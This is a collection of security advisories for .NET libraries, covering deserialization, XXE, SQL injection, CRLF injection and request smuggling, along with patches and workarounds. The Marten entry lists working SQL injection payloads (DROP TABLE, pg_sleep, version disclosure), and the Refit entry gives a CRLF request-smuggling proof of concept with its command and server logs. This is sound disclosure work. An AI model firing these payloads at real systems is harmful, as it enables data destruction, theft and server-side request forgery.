Auth0 Auth0-WCF-Service-JWT before 1.0.4 leaks the expected JWT signature in an error message when it cannot successfully validate the JWT signature. If this error message is presented to an attacker, they can forge an arbitrary JWT token that will be accepted by the vulnerable application.

Apache log4net before 2.0.10 does not disable XML external entities when parsing log4net configuration files. This could allow for XXE-based attacks in applications that accept arbitrary configuration files from users.

### Overview

Affected versions of this package are vulnerable to Deserialization of Untrusted Data due to the possibility of deserialization of arbitrary .NET classes, which can be abused to gain remote code execution.

### Description

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

### Releases

Releases before version 21.11.29.1 are affected. Please be careful to download any binary DLL from other web sites, especially we found NuGet packages not owned by us that contain vulnerable versions.

### Workarounds

There is no workaround available that addresses all issues except updating to latest version from GitHub.

### References

Find original CVE posting here: https://security.snyk.io/vuln/SNYK-DOTNET-AJAXPRO2-1925971

Note: the official Ajax.NET Professional (AjaxPro) NuGet package is available here: https://www.nuget.org/packages/AjaxNetProfessional/

### For more information

If you have any questions or comments about this advisory:
* Open an issue on this GitHub repository

## Summary

Marten's full-text search APIs interpolated the user-supplied `regConfig` parameter directly into the generated SQL without parameterization or validation, making every code path that exposes `regConfig` to untrusted input a SQL injection sink.

## Affected APIs

- `IQuerySession.SearchAsync<T>(string searchTerm, string regConfig, ...)`
- `IQuerySession.PlainTextSearchAsync<T>(...)`
- `IQuerySession.PhraseSearchAsync<T>(...)`
- `IQuerySession.WebStyleSearchAsync<T>(...)`
- `IQuerySession.PrefixSearchAsync<T>(...)`
- `IQueryable<T>.Where(x => x.Search(term, regConfig))` and the matching `PlainTextSearch` / `PhraseSearch` / `WebStyleSearch` / `PrefixSearch` extension methods

## Details

In the affected versions, [`FullTextWhereFragment`](https://github.com/JasperFx/marten/blob/master/src/Marten/Linq/SqlGeneration/Filters/FullTextWhereFragment.cs) renders the WHERE-clause SQL by string interpolation:

```csharp
private string Sql =>
    $"to_tsvector('{_regConfig}'::regconfig, {_dataConfig}) @@ {_searchFunction}('{_regConfig}'::regconfig, ?)";
```

`_regConfig` arrives unchanged from the public API surface above. Any value containing a single quote terminates the SQL literal and lets an attacker append arbitrary PostgreSQL.

### Confirmed exploit shapes (with `regConfig` set to attacker-controlled input)

| Goal | Payload |
| --- | --- |
| Time-based blind | `english'::text); SELECT pg_sleep(5); --` |
| Information disclosure | `english'; SELECT version(); --` |
| DDL execution | `english'; DROP TABLE mt_doc_article; --` |

All five overloads listed above produced SQL containing the verbatim payload.

## Impact

- **Confidentiality**: an attacker can append arbitrary `SELECT` statements and exfiltrate database contents through error channels, response timing, or — if the application surfaces query results — directly.
- **Integrity / Availability**: DDL, `UPDATE`, `DELETE`, and `pg_sleep`-style denial-of-service payloads succeed under the same vector. Concrete impact depends on the database role used by the Marten connection string.
- **Precondition**: the calling application must forward attacker-controlled input into the `regConfig` parameter (e.g. a `?lang=` query string mapped to `regConfig`). Applications that hard-code `regConfig` to a compile-time constant are not exploitable.

## Patches

Fixed in **Marten 8.36.1** (and forward) by [#4343](https://github.com/JasperFx/marten/pull/4343).

`FullTextWhereFragment` now validates `regConfig` against `^[a-zA-Z_][a-zA-Z0-9_]*(\.[a-zA-Z_][a-zA-Z0-9_]*)?$` (a simple PostgreSQL identifier, optionally schema-qualified, capped at `NAMEDATALEN-1` per side) and throws `ArgumentException` for anything else. The default value (`"english"`), schema-qualified configs (`"pg_catalog.english"`), and the standard PostgreSQL text-search configurations all continue to work.

## Workarounds

If users cannot upgrade immediately, do **one** of the following at the application boundary:

1. Hard-code `regConfig` to a compile-time constant (`"english"`, `"simple"`, …) and never accept it from request input.
2. Validate any externally-sourced `regConfig` value before passing it to Marten — e.g. against the same regex as the patch (`^[a-zA-Z_][a-zA-Z0-9_]*(\.[a-zA-Z_][a-zA-Z0-9_]*)?$`) or against an allowlist of PostgreSQL configurations the application actually uses.
3. Drop the `regConfig` argument from the call site so Marten falls back to the safe default.

## Resources

- Patch PR: [JasperFx/marten#4343](https://github.com/JasperFx/marten/pull/4343)
- Patched file: [`FullTextWhereFragment.cs`](https://github.com/JasperFx/marten/blob/master/src/Marten/Linq/SqlGeneration/Filters/FullTextWhereFragment.cs)
- Regression tests: [`full_text_regconfig_sql_injection.cs`](https://github.com/JasperFx/marten/blob/master/src/LinqTests/Bugs/full_text_regconfig_sql_injection.cs)
- CWE-89: <https://cwe.mitre.org/data/definitions/89.html>

## Credit

Reported privately to the JasperFx team with a working proof of concept covering all five affected overloads.

.NET Core Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-24112.

### Executive summary

Microsoft is releasing this security advisory to provide information about a vulnerability in .NET 5.0, .NET Core 3.1, and .NET Core 2.1. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.

A remote code execution vulnerability exists in .NET 5 and .NET Core due to how text encoding is performed.

### Discussion

Discussion for this issue can be found at dotnet/runtime#49377

### Mitigation factors

Microsoft has not identified any mitigating factors for this vulnerability.

### Affected software

The vulnerable package is `System.Text.Encodings.Web` . Upgrading your package and redeploying your app should be sufficient to address this vulnerability.

Vulnerable package versions:

Any .NET 5, .NET Core, or .NET Framework based application that uses the System.Text.Encodings.Web package with a vulnerable version listed below.

Package Name | Vulnerable Versions | Secure Versions
-|-|-
System.Text.Encodings.Web | 4.0.0 - 4.5.0 | 4.5.1
System.Text.Encodings.Web |  4.6.0-4.7.1 | 4.7.2
System.Text.Encodings.Web | 5.0.0 |  5.0.1


Please validate that each of the .NET versions you are using is in support. Security updates are only provided for supported .NET versions.



Csrf.cs in NancyFX Nancy before 1.4.4 and 2.x before 2.0-dangermouse has Remote Code Execution via Deserialization of JSON data in a CSRF Cookie.

Deserialization of Untrusted Data vulnerability in Apache ActiveMQ NMS OpenWire Client.

This issue affects Apache ActiveMQ NMS OpenWire Client before 2.1.1 when performing connections to untrusted servers. Such servers could abuse the unbounded deserialization in the client to provide malicious responses that may eventually cause arbitrary code execution on the client. Version 2.1.0 introduced a allow/denylist feature to restrict deserialization, but this feature could be bypassed.

The .NET team has deprecated the built-in .NET binary serialization feature starting with .NET 9 and suggests migrating away from binary serialization. The project is considering to follow suit and drop this part of the NMS API altogether.

Users are recommended to upgrade to version 2.1.1, which fixes the issue. We also recommend to migrate away from relying on .NET binary serialization as a hardening method for the future.

A remote code execution vulnerability exists in the way that the Chakra JavaScript engine renders when handling objects in memory, aka "Scripting Engine Memory Corruption Vulnerability".

In the IsolatedRazorEngine component of Antaris RazorEngine through 4.5.1-alpha001, an attacker can execute arbitrary .NET code in a sandboxed environment (if users can externally control template contents). NOTE: This vulnerability only affects products that are no longer supported by the maintainer.

A vulnerability was found in kapetan dns up to 6.1.0. It has been rated as problematic. Affected by this issue is some unknown functionality of the file DNS/Protocol/Request.cs. The manipulation leads to insufficient entropy in prng. The attack may be launched remotely. Upgrading to version 7.0.0 can address this issue. The name of the patch is cf7105aa2aae90d6656088fe5a8ee1d5730773b6. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-216188.

A Deserialization of Untrusted Data vulnerability exists in the Apache ActiveMQ NMS AMQP Client.

This issue affects all versions of Apache ActiveMQ NMS AMQP up to and including 2.3.0, when establishing connections to untrusted AMQP servers. Malicious servers could exploit unbounded deserialization logic present in the client to craft responses that may lead to arbitrary code execution on the client side.

Although version 2.1.0 introduced a mechanism to restrict deserialization via allow/deny lists, the protection was found to be bypassable under certain conditions.

In line with Microsoft’s deprecation of binary serialization in .NET 9, the project is evaluating the removal of .NET binary serialization support from the NMS API entirely in future releases.

Mitigation and Recommendations:
Users are strongly encouraged to upgrade to version 2.4.0 or later, which resolves the issue. Additionally, projects depending on NMS-AMQP should migrate away from .NET binary serialization as part of a long-term hardening strategy.

The installation wizard in DotNetNuke (DNN) before 7.4.1 allows remote attackers to reinstall the application and gain SuperUser access via a direct request to Install/InstallWizard.aspx.

An issue was discovered in FastReport before 2020.4.0. It lacks a ScriptSecurity feature and therefore may mishandle (for example) GetType, typeof, TypeOf, DllImport, LoadLibrary, and GetProcAddress.

A remote code execution vulnerability exists when parsing certain types of graphics files. This vulnerability only exists on systems running on MacOS or Linux. This CVE ID is unique from CVE-2021-26701.

A remote code execution vulnerability exists in Microsoft Chakra Core in the way JavaScript engines render when handling objects in memory. aka "Scripting Engine Memory Corruption Vulnerability". This vulnerability is unique from CVE-2017-0223.

### Summary
The various header-related Refit attributes (Header, HeaderCollection and Authorize) are vulnerable to CRLF injection.

### Details
The way HTTP headers are added to a request is via the `HttpHeaders.TryAddWithoutValidation` method: <https://github.com/reactiveui/refit/blob/258a771f44417c6e48e103ac921fe4786f3c2a1e/Refit/RequestBuilderImplementation.cs#L1328>
This method does not check for CRLF characters in the header value.

This means that any headers added to a refit request are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.

### PoC
The below example code creates a console app that takes one command line variable (a bearer token) and then makes a request to some status page with the provided token inserted in the "Authorization" header:

```c#
using Refit;

internal class Program
{
    private static void Main(string[] args)
    {
        // Usage: dotnet run <bearer token> 
        string token = args[0];
        var service = RestService.For<IStatusApi>("http://insert.some.site.here");
        string response = service.GetStatus(token).Result;
        Console.WriteLine($"Response: {response}");
    }

    public interface IStatusApi
    {
        [Get("/status")]
        Task<string> GetStatus([Authorize("Bearer")] string token);
    }
}
```

This application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):

```bash
anonymous@ubuntu-sofia-672448:~$ dotnet Refit-cli.dll $'test\r\nUser-Agent: injected header!\r\n\r\nGET /smuggled HTTP/1.1\r\nHost: insert.some.site.here'
Response: <html></html>
```

The application intends to send a single request of the form:
```http
GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: Bearer <bearer token>
```
But as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:
```http
GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: Bearer test
User-Agent: injected header!
```
and
```http
GET /smuggled HTTP/1.1
Host: insert.some.site.here
```

This can be confirmed by checking the access logs on the server where these commands were run (with `insert.some.site.here` pointing to localhost):
```bash
anonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log
127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] "GET /status HTTP/1.1" 200 240 "-" "injected header!"
127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] "GET /smuggled HTTP/1.1" 404 436 "-" "-"
```

### Impact
If an application using the Refit library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.

Strictly speaking this is a potential vulnerability in applications using Refit, not in Refit itself, but I would argue that at the very least there needs to be a warning about this behaviour in the Refit documentation.



Blogifier 2.3 before 2019-05-11 does not properly restrict APIs, as demonstrated by missing checks for `..` in a pathname.

The issue is patched in the `2.4` branch, but `2.5.5` is the lowest available patched version on https://www.nuget.org/packages/Blogifier.Core.

A remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory, aka "Scripting Engine Memory Corruption Vulnerability." This affects ChakraCore.

AutoUpdater.cs in AutoUpdater.NET before 1.5.8 allows XXE.

Dynamic Linq 1.0.7.10 through 1.2.25 before 1.3.0 allows attackers to execute arbitrary code and commands when untrusted input to methods including Where, Select, OrderBy is parsed.

## Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-6r7c-6w96-8pvw. This link is maintained to preserve external references.

## Original Description
All versions of package ajaxpro.2 are vulnerable to Deserialization of Untrusted Data due to the possibility of deserialization of arbitrary .NET classes, which can be abused to gain remote code execution.

## Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-6x36-qxmj-rv4p. This link is maintained to preserve external references.

## Original Description
.NET and Visual Studio Remote Code Execution Vulnerability

# Microsoft Security Advisory CVE-2025-55315: .NET Security Feature Bypass Vulnerability

## <a name="executive-summary"></a>Executive summary

Microsoft is releasing this security advisory to provide information about a vulnerability in ASP.NET Core 10.0 , ASP.NET Core 9.0 , ASP.NET Core 8.0, and ASP.NET Core 2.3. This advisory also provides guidance on what developers can do to update their applications to address this vulnerability.

Inconsistent interpretation of http requests ('http request/response smuggling') in ASP.NET Core allows an authorized attacker to bypass a security feature over a network.

## Discussion

Discussion for this issue can be found at https://github.com/dotnet/announcements/issues/371

### <a name="mitigation-factors"></a>Mitigation factors

Microsoft has not identified any mitigating factors for this vulnerability.

## <a name="affected-software"></a>Affected software

* Any ASP.NET Core 10.0 application running on ASP.NET Core 10.0.0-rc.1.25451.107 or earlier.
* Any ASP.NET Core 9.0 application running on ASP.NET Core 9.0.9 or earlier.
* Any ASP.NET Core application running on ASP.NET Core 8.0.20 or earlier.
* Any ASP.NET Core 2.x application consuming the package Microsoft.AspNetCore.Server.Kestrel.Core version 2.3.0 or earlier.

## <a name="affected-packages"></a>Affected Packages
The vulnerability affects any Microsoft .NET Core project if it uses any of affected packages versions listed below

Package name | Affected version | Patched version
------------ | ---------------- | -------------------------
[Microsoft.AspNetCore.Server.Kestrel.Core](https://www.nuget.org/packages/Microsoft.AspNetCore.Server.Kestrel.Core) | <= 2.3.0  | 2.3.6

### <a name="ASP.NET Core 10"></a>ASP.NET Core 10
Package name | Affected version | Patched version
------------ | ---------------- | -------------------------
[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm)               | 10.0.0-rc.1.25451.107 | 10.0.0-rc.2.25502.107
[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64)           | 10.0.0-rc.1.25451.107 | 10.0.0-rc.2.25502.107
[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm)     | 10.0.0-rc.1.25451.107 | 10.0.0-rc.2.25502.107
[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | 10.0.0-rc.1.25451.107 | 10.0.0-rc.2.25502.107
[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64)     | 10.0.0-rc.1.25451.107 | 10.0.0-rc.2.25502.107
[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64)               | 10.0.0-rc.1.25451.107 | 10.0.0-rc.2.25502.107
[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64)               | 10.0.0-rc.1.25451.107 | 10.0.0-rc.2.25502.107
[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64)                   | 10.0.0-rc.1.25451.107 | 10.0.0-rc.2.25502.107
[Microsoft.AspNetCore.App.Runtime.win-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm)                   | 10.0.0-rc.1.25451.107 | 10.0.0-rc.2.25502.107
[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64)               | 10.0.0-rc.1.25451.107 | 10.0.0-rc.2.25502.107
[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64)                   | 10.0.0-rc.1.25451.107 | 10.0.0-rc.2.25502.107
[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86)                   | 10.0.0-rc.1.25451.107 | 10.0.0-rc.2.25502.107

### <a name="ASP.NET Core 9"></a>ASP.NET Core 9
Package name | Affected version | Patched version
------------ | ---------------- | -------------------------
[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm)               | >= 9.0.0, <= 9.0.9 | 9.0.10
[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64)           | >= 9.0.0, <= 9.0.9 | 9.0.10
[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm)     | >= 9.0.0, <= 9.0.9 | 9.0.10
[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | >= 9.0.0, <= 9.0.9 | 9.0.10
[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64)     | >= 9.0.0, <= 9.0.9 | 9.0.10
[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64)               | >= 9.0.0, <= 9.0.9 | 9.0.10
[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64)               | >= 9.0.0, <= 9.0.9 | 9.0.10
[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64)                   | >= 9.0.0, <= 9.0.9 | 9.0.10
[Microsoft.AspNetCore.App.Runtime.win-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm)                   | >= 9.0.0, <= 9.0.9 | 9.0.10
[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64)               | >= 9.0.0, <= 9.0.9 | 9.0.10
[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64)                   | >= 9.0.0, <= 9.0.9 | 9.0.10
[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86)                   | >= 9.0.0, <= 9.0.9 | 9.0.10


### <a name="ASP.NET Core 8"></a>ASP.NET Core 8
Package name | Affected version | Patched version
------------ | ---------------- | -------------------------
[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm)               | >= 8.0.0, <= 8.0.20 | 8.0.21
[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64)           | >= 8.0.0, <= 8.0.20 | 8.0.21
[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm)     | >= 8.0.0, <= 8.0.20 | 8.0.21
[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | >= 8.0.0, <= 8.0.20 | 8.0.21
[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64)     | >= 8.0.0, <= 8.0.20 | 8.0.21
[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64)               | >= 8.0.0, <= 8.0.20 | 8.0.21
[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64)               | >= 8.0.0, <= 8.0.20 | 8.0.21
[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64)                   | >= 8.0.0, <= 8.0.20 | 8.0.21
[Microsoft.AspNetCore.App.Runtime.win-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm)                   | >= 8.0.0, <= 8.0.20 | 8.0.21
[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64)               | >= 8.0.0, <= 8.0.20 | 8.0.21
[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64)                   | >= 8.0.0, <= 8.0.20 | 8.0.21
[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86)                   | >= 8.0.0, <= 8.0.20 | 8.0.21

## Advisory FAQ

### <a name="how-affected"></a>How do I know if I am affected?

If you have a runtime or SDK with a version listed, or an affected package listed in [affected software](#affected-packages) or [affected packages](#affected-software), you're exposed to the vulnerability.

### <a name="how-fix"></a>How do I fix the issue?

1. To fix the issue please install the latest version of .NET 9.0 and .NET 8.0. If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET  SDKs.
2. If your application references the vulnerable package, update the package reference to the patched version.

* You can list the versions you have installed by running the `dotnet --info` command. You will see output like the following;

```
.NET SDK:
 Version:           9.0.100
 Commit:            59db016f11
 Workload version:  9.0.100-manifests.3068a692
 MSBuild version:   17.12.7+5b8665660

Runtime Environment:
 OS Name:     Mac OS X
 OS Version:  15.2
 OS Platform: Darwin
 RID:         osx-arm64
 Base Path:   /usr/local/share/dotnet/sdk/9.0.100/

.NET workloads installed:
There are no installed workloads to display.
Configured to use loose manifests when installing new manifests.

Host:
  Version:      9.0.0
  Architecture: arm64
  Commit:       9d5a6a9aa4

.NET SDKs installed:
  9.0.100 [/usr/local/share/dotnet/sdk]

.NET runtimes installed:
  Microsoft.AspNetCore.App 9.0.0 [/usr/local/share/dotnet/shared/Microsoft.AspNetCore.App]
  Microsoft.NETCore.App 9.0.0 [/usr/local/share/dotnet/shared/Microsoft.NETCore.App]

Other architectures found:
  x64   [/usr/local/share/dotnet]
    registered at [/etc/dotnet/install_location_x64]

Environment variables:
  Not set

global.json file:
  Not found

Learn more:
  https://aka.ms/dotnet/info

Download .NET:
  https://aka.ms/dotnet/download
```

* If you're using .NET 8.0, you should download and install .NET 8.0.21  Runtime or .NET 8.0.318 SDK (for Visual Studio 2022 v17.10 latest update) from https://dotnet.microsoft.com/download/dotnet-core/8.0.
* If you're using .NET 9.0, you should download and install .NET 9.0.10  Runtime or .NET 9.0.111 SDK (for Visual Studio 2022 v17.12 latest update) from https://dotnet.microsoft.com/download/dotnet-core/9.0.
* If you're using .NET 10.0, you should download and install .NET 10.0.0-rc.2.25476.107 Runtime or .NET 10.0.100-rc.2.25476.107 SDK (for Visual Studio 2022 v17.12 latest update) from https://dotnet.microsoft.com/download/dotnet-core/10.0.
* If you're using [Microsoft.AspNetCore.Server.Kestrel.Core](https://www.nuget.org/packages/Microsoft.AspNetCore.Server.Kestrel.Core) nuget package, update to the latest version 2.3.6 using either of the following methods:

    * Using the NuGet Package Manager UI in Visual Studio:
            - Open your project in Visual Studio.
            - Right-click on your project in Solution Explorer and select "Manage NuGet Packages..." or navigate to "Project > Manage NuGet Packages".
            - In the NuGet Package Manager window, select the "Updates" tab. This tab lists packages with available updates from your configured package sources.
            - Select the package(s) you wish to update. You can choose a specific version from the dropdown or update to the latest available version.
            - Click the "Update" button.

    * Using the NuGet Package Manager Console in Visual Studio:
            - Open your project in Visual Studio.
            - Navigate to "Tools > NuGet Package Manager > Package Manager Console".
            - To update a specific package to its latest version, use the Update-Package command:
                Code:

                Update-Package -Id Microsoft.AspNetCore.Server.Kestrel.Core

    * Using the .NET CLI (Command Line Interface):
            Open a terminal or command prompt in your project's directory.
            To update a specific package to its latest version:
                Code:

                dotnet add package Microsoft.AspNetCore.Server.Kestrel.Core

Once you have installed the updated runtime or SDK, restart your apps for the update to take effect.

Additionally, if you've deployed [self-contained applications](https://docs.microsoft.com/dotnet/core/deploying/#self-contained-deployments-scd) targeting any of the impacted versions, these applications are also vulnerable and must be recompiled and redeployed.

## Other Information

### Reporting Security Issues

If you have found a potential security issue in .NET 8.0, .NET 9.0 or .NET 10.0, please email details to secure@microsoft.com. Reports may qualify for the Microsoft .NET Core & .NET 5 Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at <https://aka.ms/corebounty>.

### Support

You can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/aspnetcore. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.

### Disclaimer

The information provided in this advisory is provided "as is" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
### External Links

### Acknowledgement
Sid

[CVE-2025-55315]( https://www.cve.org/CVERecord?id=CVE-2025-55315)

### Revisions

V1.0 (October 14, 2025): Advisory published.

_Version 1.0_

_Last Updated 2025-10-14_

### Impact
_What kind of vulnerability is it? Who is impacted?_
An Arbitrary File Write vulnerability has been identified in Microsoft's Semantic Kernel .NET SDK, specifically within the `SessionsPythonPlugin`.
Developers who have built applications which include Microsoft's Semantic Kernel .NET SDK and are using the `SessionsPythonPlugin`

### Patches
_Has the problem been patched? What versions should users upgrade to?_
The problem has been fixed in [Microsoft.SemanticKernel.Plugins.Core version 1.71.0](https://www.nuget.org/packages/Microsoft.SemanticKernel.Plugins.Core/1.71.0). Users should upgrade to version 1.71.0 or higher.

### Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_
Users can create a [Function Invocation Filter](https://learn.microsoft.com/en-us/semantic-kernel/concepts/enterprise-readiness/filters?pivots=programming-language-csharp#function-invocation-filter) which checks the arguments being passed to any calls to `DownloadFileAsync ` or `UploadFileAsync` and ensures the provided `localFilePath` is allow listed.

### References
_Are there any links users can visit to find out more?_
- [Sample showing safe use of the CodeInterpreterPlugin](https://github.com/microsoft/semantic-kernel/blob/main/dotnet/samples/Demos/CodeInterpreterPlugin/Program.cs#L61-L64)
- [PR to Add file upload security controls to SessionsPythonPlugin](https://github.com/microsoft/semantic-kernel/pull/13478/changes#diff-88d3cacba2bfa84eef8f2aa171b34f9940338cbb784a3ffc49f5fe3af1b8943d)

### Impact
Within Umbraco Forms, configuring a malicious URL on the Webservice data source can result in Remote Code Execution. This affects all Umbraco Forms versions running on .NET Framework (up to and including version 8).

### Patches
The affected Umbraco Forms versions are all End-of-Life (EOL) and not supported anymore, hence no patches will be released. Upgrading to any of the currently supported versions (v13, v16 or v17) is recommended.

### Workarounds
If none of the configured Forms data sources uses the Webservice type, it can be safely excluded by adding the following code to the application. This will completely remove the option to select/use this data source within the Backoffice and thereby mitigate the vulnerability.

```c#
using Umbraco.Core.Composing;
using Umbraco.Forms.Core.Providers;
using Umbraco.Forms.Core.Providers.DatasourceTypes;

internal sealed class RemoveFormsWebserviceDataSourceTypeComposer : IUserComposer
{
    public void Compose(Composition composition)
        => composition.WithCollectionBuilder<DataSourceCollectionBuilder>().Exclude<Webservice>();
}
```

Any Webservice data source that is configured and still in use should be replaced with a custom implementation instead, before applying the above code. If this is not feasible, the vulnerability can be minimized by revoking the 'Manage Data Sources' from any non-administrator user and/or inheriting from the default `Umbraco.Forms.Core.Providers.DatasourceTypes.Webservice` class and overriding the `ValidateSettings()` method to ensure only trusted URLs can be used.

### References
When upgrading to a supported version, please take the Forms [version specific upgrade notes](https://docs.umbraco.com/umbraco-forms/13.latest/upgrading/version-specific) into account and check the [CMS upgrade documentation](https://docs.umbraco.com/umbraco-cms/13.latest/fundamentals/setup/upgrading). Content and schema can also be migrated straight to the latest version using [Deploy export/import with migrations](https://docs.umbraco.com/umbraco-deploy/13.latest/deployment-workflow/import-export).

Implementation details on data sources are not extensively documented, but they follow the general Forms [provider model](https://docs.umbraco.com/umbraco-forms/13.latest/developer/extending/adding-a-type) and inherit from `Umbraco.Forms.Core.FormDataSource`.

A special thanks to Piotr Bazydlo (@chudyPB) of watchTowr for finding and disclosing this vulnerability

An arbitrary file upload vulnerability in Umbraco CMS v16.3.3 allows attackers to execute arbitrary code via uploading a crafted PDF file. While Umbraco provides [hooks to perform file validation](https://docs.umbraco.com/umbraco-cms/reference/security/serverside-file-validation), it does not do implement filtering by default. Users are expected to implement their own validation.

